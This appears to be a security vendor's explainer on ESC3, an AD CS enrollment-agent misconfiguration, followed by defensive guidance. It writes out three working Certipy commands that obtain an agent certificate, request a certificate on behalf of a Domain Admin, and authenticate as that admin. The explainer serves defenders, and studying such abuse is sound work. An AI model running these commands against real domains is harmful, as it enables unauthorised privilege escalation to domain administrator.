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What is ESC3?
ESC3 is an AD CS misconfiguration involving the Certificate Request Agent (enrollment agent) EKU. 
If a low-privileged user can enrol in a template that grants the enrollment-agent role, they obtain an 
agent certificate, then use it to request certificates on behalf of any other user, including a Domain 
Admin. Two steps, and the attacker is authenticating as a privileged account. Certipy automates both.

H O W  I T  W O R K S

01 The abuse and payload
The attack is two stages: get the agent certificate, 

then use it to enrol as an admin.

· Request the enrollment-agent certificate: 
certipy req -u user@corp.local -p pass -ca 

CORP-CA -template EnrollmentAgent

· Use it to enrol on behalf of a Domain Admin: 
certipy req -u user@corp.local -p pass 

-ca CORP-CA -template User -on-behalf-of 

"CORP\administrator" -pfx agent.pfx

· Authenticate as the admin: certipy auth -pfx 
administrator.pfx

Documented Certipy steps, shown for defensive 

recognition.

T H E  R O L E  T O  W A T C H

The dangerous capability is the Certificate Request 
Agent EKU reaching low-privileged users. An agent 
certificate is a licence to enrol as anyone.

H O W  T O  D E F E N D

· Restrict who can enrol in 

enrollment-agent templates to a tiny, 

trusted set.

· Use enrollment-agent restrictions on 

the CA to limit which templates and 

which target users an agent may act for.

· Require manager approval on agent 

and on-behalf-of templates.

· Audit with Certipy for templates 

granting the Certificate Request Agent 

EKU to broad groups.

· Monitor for on-behalf-of certificate 

requests.
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Test your Active Directory before an attacker does.
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